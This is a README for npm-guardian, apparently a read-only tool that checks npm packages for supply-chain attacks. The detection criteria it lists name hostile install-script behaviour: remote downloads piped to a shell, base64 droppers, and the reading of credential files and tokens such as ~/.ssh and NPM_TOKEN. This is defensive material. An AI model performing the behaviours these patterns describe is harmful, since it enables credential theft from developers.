npm-guardian 🛡️

Vet an npm package for supply-chain attacks BEFORE you run npm install.

npm-guardian is a security tool for AI coding agents and developers. Give it a package name and it returns a SAFE / SUSPICIOUS / DANGEROUS verdict with an explained risk score — catching the attacks that ordinary npm audit and CVE scanners completely miss:

• 🎯 Typosquatting — names one or two edits away from popular packages (lodahs → lodash, expres → express, the 2026 easy-day-js → dayjs campaign).

• 💀 Malicious install scripts — preinstall/postinstall hooks that pipe remote downloads into a shell, spawn child processes, eval(), or decode base64 droppers.

• 🔑 Credential & crypto-key exfiltration markers — scripts that read AWS_*/GITHUB_*/NPM_TOKEN/PRIVATE_KEY env vars or touch ~/.ssh, ~/.aws, .npmrc, id_rsa, wallet.dat.

• 🆕 Freshly-published, low-trust packages — disproportionately used in supply-chain attacks, especially when combined with install scripts.

• 🚫 Dependency-confusion / not-on-registry + missing source repo, no maintainers, deprecated, etc.

Traditional vulnerability scanners look for CVE matches in manifests and won't catch a clean-versioned package that downloads a remote script during installation. That's exactly the gap npm-guardian fills.

It runs read-only: it inspects npm registry metadata and install-script source strings. It never executes package code.

Use it as an MCP server (free)

Any MCP-compatible agent (Claude Desktop, Claude Code, Cursor, …) can call it.

{
  "mcpServers": {
    "npm-guardian": {
      "command": "npx",
      "args": ["-y", "npm-guardian-mcp"]
    }
  }
}

Tools exposed:

Example agent prompt: "Before you install chalk, run npm-guardian on it."

Related MCP server: CVE Checker for Node Modules

Use it as an HTTP API

GET /audit?name=<pkg>&version=<v>     # FREE, rate-limited (30/h/IP)
GET /audit_many?names=a,b,c           # FREE, up to 10 packages
GET /pro/audit?name=<pkg>             # PAID per call, no limit
GET /pro/audit_many?names=...         # PAID per call, up to 50 packages

Free response:

{
  "package": "expres",
  "verdict": "SUSPICIOUS",
  "score": 40,
  "summary": "SUSPICIOUS — Possible typosquat of \"express\". Review before installing.",
  "findings": [ { "severity": "critical", "title": "Possible typosquat of \"express\"", "detail": "…" } ],
  "meta": { "publishedAgeDays": 4723, "hasInstallScripts": false, "repository": "…" }
}

💸 Pay-per-call with x402 (USDC, no account, no API key)

The /pro/* routes are gated by the x402 payment protocol. Your AI agent pays $0.02 USDC per call automatically — no sign-up, no API key, no subscription. Settlement is on-chain (Polygon) straight to the operator's wallet on Base (USDC). The server holds no private key; it only declares a public receiving address.

Calling /pro/audit without payment returns the standard 402 Payment Required challenge, which any x402-aware client (e.g. @x402/axios, x402 MCP clients) satisfies transparently.

Run it yourself

npm install
npm run build

# MCP (stdio)
npm run start:mcp

# HTTP API
PORT=8080 npm run start:http

Environment variables for the HTTP server:

Why this exists

2026 has been a brutal year for npm supply-chain attacks: typosquatted OpenSearch/Elastic packages stealing CI/CD secrets, the @mastra org compromise that backdoored 140+ packages via an easy-day-js typosquat, waves of infostealers hidden in postinstall hooks. Agents now npm install things autonomously — they need a cheap, fast pre-flight check. That's npm-guardian.

License

MIT